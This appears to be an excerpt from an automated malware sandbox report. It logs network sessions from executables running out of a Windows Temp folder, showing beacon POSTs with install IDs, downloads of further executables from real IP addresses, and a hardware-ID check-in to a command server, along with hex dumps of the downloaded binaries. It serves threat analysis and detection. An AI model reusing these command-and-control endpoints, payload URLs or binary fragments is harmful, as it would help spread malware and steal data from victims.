00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf@0@p0u,@Wk ^@.rsrc n@.idata n@tcduwnvy0"p@djrlngwz00,@.taggant0@0",@
Oct 24, 2024 04:58:09.172133923 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:09.172147036 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:09.172164917 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:09.172178030 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:09.172189951 CEST	1148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: VjT7R,'O~Kq::ur-F"\%8G*~Fj0; ~boKW" P^_yVCT6?e#Jhmi
Oct 24, 2024 04:58:09.172239065 CEST	1236	IN	Data Raw: 59 ab 72 f5 5a 31 42 ce e5 3f e2 e2 93 a6 c1 43 68 d6 bc 8a 12 1b 4d 35 3d c3 8a 05 46 93 7d 34 47 72 c5 23 2a 21 ae c2 4c 35 8a e5 62 09 15 f8 3c 34 b0 76 f7 67 d8 ff 76 03 d1 e8 16 06 ad db ef bb 04 01 57 81 d5 60 f2 0c 7d 1a bb 7c 78 70 ad 11 Data Ascii: YrZ1B?ChM5=F}4Gr#*!L5b<4vgvW`}\|xp);<r1)BqJQGvNsu,:cG3R8 B!ltuk'cewwu-;5@297-ldyg/<$q@qW:m 1aqP/oORK.9c2UC]Z
Oct 24, 2024 04:58:09.172250986 CEST	212	IN	Data Raw: 73 2f e3 cc eb 13 57 30 57 89 3a 37 80 22 c2 6b 7f 76 7d a2 09 49 91 f2 41 ab 95 e2 1e 35 fd 56 56 2b 8a b4 2a 8e 81 6e 79 c7 14 12 a5 4f 83 b8 39 15 fd 1a ff 42 97 7d ac 84 a9 46 1c 89 16 c1 de 5f 44 09 5c 07 96 55 88 5a 59 5a 82 65 3b 96 c4 c9 Data Ascii: s/W0W:7"kv}IA5VV+nyO9B}F_D\UZYZe;]hG1$>sWkj+HQ2DUNO2g~+^\|~Q'a9x~? R]\|yk;OAa"jwm(5[!h>B
Oct 24, 2024 04:58:09.172261000 CEST	1236	IN	Data Raw: 66 32 69 ce 0d f8 85 03 3b cf a2 d7 60 c7 41 c4 57 3c 16 f6 bb 43 a0 12 81 cb 10 0a f0 06 f1 cc 2c f2 35 7c db 4f f1 66 f7 b3 e5 62 bb c2 33 f9 39 43 3f ee 1f e3 74 92 41 2e 5c 11 5f d5 73 1c 7e 19 b0 7e a1 b3 4b d5 68 68 07 e4 2d ea cd 8a 3e d1 Data Ascii: f2i;`AW<C,5\|Ofb39C?tA.\_s~~Khh->bV27B@aKR:QbqBk]:S>r>(e)js9-C9n6:Oy5y}86YK,\|6w$W,WM1#@!::s
Oct 24, 2024 04:58:09.172271967 CEST	212	IN	Data Raw: 51 94 2e 47 9a 23 26 0b 0b c9 c6 74 d1 45 ba 46 07 26 a2 a9 ca cf bf 2d 20 a4 86 48 db 17 a4 ed 66 4b f5 18 25 4a e7 bb 5e d9 cc 4c 6f 2a a9 1d 80 a7 c7 93 0f 21 14 ef c4 ea 9e b6 d6 c2 99 e6 a8 4c d3 f4 83 18 32 6d 41 13 29 f8 46 da f7 cb f3 12 Data Ascii: Q.G#&tEF&- HfK%J^Lo*!L2mA)F Vxa-J<sM!.,.b'"p4=_ju-V7>"&.-"DasJ.7+wW,q1J%uk~cB7M,?
Oct 24, 2024 04:58:09.177897930 CEST	1236	IN	Data Raw: 49 19 4c 64 41 96 4a 5f 39 1b 81 de 9f 06 f2 c9 58 f0 43 90 9e b2 c8 e2 fc f1 84 e5 0c 3b 66 e4 ba 8d 24 76 2b 42 44 8d 81 56 ce a2 4d 35 3c 0d 4e 0f 13 e7 6a c1 cb e7 7c 60 8c 0b 70 7a c3 a6 ab 7c 2a 8a 39 be c6 bb 9e 2b b0 75 e3 89 51 17 57 31 Data Ascii: ILdAJ_9XC;f$v+BDVM5<Nj\|`pz\|9+uQW1"@O~N@BJA2Dikni'b{#;6"&d'-cF7'A}%5OiLR-A7rgEEw~^UE-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49998	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:17.635623932 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001102001&unit=246122658369
Oct 24, 2024 04:58:18.560595989 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50000	185.215.113.16	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:18.568355083 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 04:58:19.471772909 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:19 GMT Content-Type: application/octet-stream Content-Length: 1877504 Last-Modified: Thu, 24 Oct 2024 02:50:28 GMT Connection: keep-alive ETag: "6719b5f4-1ca600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$j@jgG@P%d% %(@.rsrc %8@.idata %8@ *%:@uolrxmarP`PD<@whwdztvnj@.taggant0j"@
Oct 24, 2024 04:58:19.471788883 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:19.471817970 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:19.471832991 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:19.471849918 CEST	448	IN	Data Raw: d0 17 06 b6 f8 60 b0 8a 73 57 41 fe d5 7f 69 55 5b d7 4a 3b d7 69 14 59 47 5f 3f 18 8b b9 58 54 e5 17 26 03 ed b4 fd f6 0b d5 3d 58 8b 6e 20 64 a3 31 0a 64 af 23 2a d0 0d 7e da 54 d5 4a 90 cb 22 60 ff fc a8 0b 2c 87 68 d3 3d b7 84 1f 5d 0d 6a 23 Data Ascii: `sWAiU[J;iYG_?XT&=Xn d1d#~TJ"`,h=]j#(C4c)1{ WeCcx#:&0mYwoc6d]&oIa(1.fa.;;aHN<w%5iF`z/.rKU7wX&lY3M\|"%
Oct 24, 2024 04:58:19.471877098 CEST	1236	IN	Data Raw: f3 2c c2 dd af 56 2b 17 a0 9f 56 ad 94 1f ab f2 69 27 ce d6 56 d1 cf 08 e0 c9 eb 15 2e 72 68 60 da 92 a4 dd c3 df 1e 3d 65 9e 5f c1 c3 d3 30 27 1f 9f 5f 0a 02 38 2e 1b 18 3d 30 ed f2 37 49 03 84 d2 41 14 07 78 16 03 f3 1c 3d e4 1b 62 4a ba 1e 87 Data Ascii: ,V+Vi'V.rh`=e_0'_8.=07IAx=bJ_%PHGqHp]noSD8zbOc\% ec/&V#X?TgWE(nbTcUOYc#pHX0]wPGO/
Oct 24, 2024 04:58:19.471894026 CEST	1236	IN	Data Raw: 01 91 de 18 af ce 5c 5f 6d d0 f5 5c dc 61 cf 57 e8 91 4a c0 55 4f a7 c7 e3 5f 58 66 ef d9 f0 9d ef a9 c4 b6 d6 8a 61 49 7f c2 60 1d 7f 6f b1 5d 67 ef 29 4d fd 6f 40 af 8d ac ea ef 6f 65 1a 72 f8 53 df d6 86 19 ef 5f 73 f6 5e 9d aa 96 4b df cd 6d Data Ascii: \_m\aWJUO_XfaI`o]g)Mo@oerS_s^Km\LIj?8P)7^W q&J}}_EouZ1?`p08XXukTzlm<W`**-MF\w2_$Yvh=\CW^A
Oct 24, 2024 04:58:19.471910000 CEST	1236	IN	Data Raw: 16 91 84 c9 e6 c2 01 65 7b 1b ff 24 9f 66 fe bc ab dd 1f e5 e3 77 ee cc bd db 50 02 89 c1 e7 d2 26 e7 65 61 83 91 48 58 c2 d9 ad cc ef 1b e6 d4 5d e3 cf 69 0d 27 50 a1 ef 47 57 41 b8 eb 3c be 03 75 15 6b 43 2c cc cc c1 27 4f cd ef 73 e6 87 5d 5f Data Ascii: e{$fwP&eaHX]i'PGWA<ukC,'Os]___`B/W[Ef$IO#}Vqd}_=3#`^NuItKc^kWbNF,Wq[Ee oWf$h}Mf6&*]aCPW%?
Oct 24, 2024 04:58:19.471926928 CEST	1236	IN	Data Raw: 0b 66 5f 21 38 f3 29 0e 84 74 66 cc 9f 93 21 34 48 ee 5f c7 be df 3b bc 31 72 38 f4 e6 bb d0 13 cb 5f ea cc e7 71 4f ec 3b 56 de 29 20 d7 45 09 f8 c1 e2 54 e6 7f 66 ed 83 70 85 bf f3 63 29 3d bf 93 26 e3 31 e6 56 7d 21 43 46 15 e7 91 12 e2 8a e4 Data Ascii: f_!8)tf!4H_;1r8_qO;V) ETfpc)=&1V}!CFo7untNk,3q8nIKPG_=8$c;Wp{YB.g,CWK65fE{YgfO]mr'O,U
Oct 24, 2024 04:58:19.471945047 CEST	1236	IN	Data Raw: dc d7 39 63 d9 77 2c 55 2f d7 27 a6 cf 77 10 ed c0 74 c6 0d 6f 7e 92 dd 0d a7 16 7b 16 97 c5 eb 42 39 36 39 a3 d5 1d f9 ca 0b 89 d4 48 50 56 7d 8c 37 5a e9 ca 89 e2 89 61 f5 56 e4 6f ee dd b9 75 ab f3 d8 3a 66 a6 d5 38 97 2c 59 1b ca 47 79 e6 df Data Ascii: 9cw,U/'wto~{B969HPV}7ZaVou:f8,YGy:Wr0CJ)VCWT^z{tRtWzw~ABInn.jiSW'WIp#oVQ VA+Kqpc^W??O`f3L]
Oct 24, 2024 04:58:19.477380991 CEST	1236	IN	Data Raw: d3 fb b5 7b ed a8 c3 29 80 6e be 11 98 64 97 78 de 08 fa e6 e4 b3 32 70 ae 74 4f f9 6f c3 e6 3c 75 b7 02 fe 84 11 e6 e8 ae 5b 62 1d 84 92 0f c4 67 3f d0 d7 a3 46 68 e4 44 91 90 11 ed fb 4f f6 1d ee 15 98 64 3c d2 4c 89 e2 2d 93 16 d7 b6 1e d0 d7 Data Ascii: {)ndx2ptOo<u[bg?FhDOd<L-c<Wo[_}d+hhLOnaYO@^bAwiHDcF1O_Z=WcE5nf/KCkyT/OCT(Pqcc^HWdv@f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50007	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:26.921348095 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001103001&unit=246122658369
Oct 24, 2024 04:58:27.810276031 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50008	185.215.113.16	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:28.062403917 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 04:58:29.115539074 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:28 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 24 Oct 2024 01:44:18 GMT Connection: keep-alive ETag: "6719a672-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a a6 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELjg"Xw@`=@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 24, 2024 04:58:29.115725040 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 24, 2024 04:58:29.115735054 CEST	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 24, 2024 04:58:29.115745068 CEST	212	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D
Oct 24, 2024 04:58:29.115756989 CEST	1236	IN	Data Raw: e8 2e e8 01 00 8b f3 c7 87 2c fd ff ff 40 c9 49 00 59 39 9f 34 fd ff ff 0f 87 f0 0f 04 00 ff b7 30 fd ff ff 89 9f 34 fd ff ff e8 04 e8 01 00 59 8b 8f 24 fd ff ff 85 c9 0f 85 f9 0f 04 00 8d b7 10 fd ff ff 8b ce c7 06 3c c9 49 00 e8 a3 01 00 00 ff Data Ascii: .,@IY9404Y$<IvY-l\L_^[`t
Oct 24, 2024 04:58:29.115767002 CEST	1236	IN	Data Raw: 0f 85 72 0c 04 00 56 6a 40 e8 18 e3 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 Data Ascii: rVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I I
Oct 24, 2024 04:58:29.115777969 CEST	124	IN	Data Raw: 00 00 56 50 ff 75 0c ff 75 08 e8 a8 cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 Data Ascii: VPuuxMM3M^At)ttH9AxUSVu3
Oct 24, 2024 04:58:29.115787983 CEST	1236	IN	Data Raw: 57 8a d3 8b 0e 8d 79 01 51 89 3e e8 9c 07 00 00 85 c0 74 1c 89 0d 28 15 4d 00 8b 40 04 8b 00 66 39 58 08 75 05 83 38 21 74 0f 8b cf 84 d2 74 d5 5f 5e 33 c0 5b 5d c2 04 00 b2 01 eb ed 55 8b ec 83 ec 1c 33 d2 42 53 56 57 8b c2 50 8d 50 01 89 55 fc Data Ascii: WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuB
Oct 24, 2024 04:58:29.115797997 CEST	1236	IN	Data Raw: 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 1d 05 04 00 83 6d b4 01 0f 85 4d 05 04 00 eb 10 8b 45 b4 40 89 45 b4 83 f8 01 0f 8f 30 05 04 00 ff 75 e8 8b 5d fc ff 75 f4 8b 45 f8 ff 75 e4 ff 75 e0 53 50 ff 75 f0 57 e8 0f 04 00 00 85 c0 0f 89 08 ff ff ff Data Ascii: AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl
Oct 24, 2024 04:58:29.115809917 CEST	224	IN	Data Raw: 6a 04 5a f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 4c d4 01 00 8b 3e 33 d2 59 8b 4e 0c 89 46 08 85 c9 7e 11 8b 46 08 89 3c 90 42 8b 4e 0c 8b 7f 24 3b d1 7c ef 53 8d 41 ff 32 db 33 ff 85 c0 7e 2c 8b 46 08 8b 0c b8 8b d1 8b 44 b8 04 89 4d f4 8b c8 89 45 f8 Data Ascii: jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM
Oct 24, 2024 04:58:29.115818977 CEST	1236	IN	Data Raw: 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 68 18 14 4d 00 8b ce e8 2c 03 00 00 84 c0 0f 84 b1 00 04 00 a0 90 23 4d 00 a2 04 14 4d 00 a0 91 23 4d 00 88 44 24 12 8d 44 24 14 50 8d 84 24 3c 00 01 00 50 Data Ascii: 3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50009	185.215.113.37	80	4024	C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:28.404851913 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:58:29.307024956 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:58:29.316478968 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="build"doma------KEHJKJDGCGDAKFHIDBGC--
Oct 24, 2024 04:58:29.597480059 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50013	185.215.113.16	80	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:32.610840082 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:58:33.489233971 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:33 GMT Content-Type: application/octet-stream Content-Length: 1931264 Last-Modified: Thu, 24 Oct 2024 02:50:35 GMT Connection: keep-alive ETag: "6719b5fb-1d7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L@Wk$LL @.rsrc@.idata @ +@gwmdqjxo`02^@xvafdjqxLR@.taggant0L"V@
Oct 24, 2024 04:58:33.489279985 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
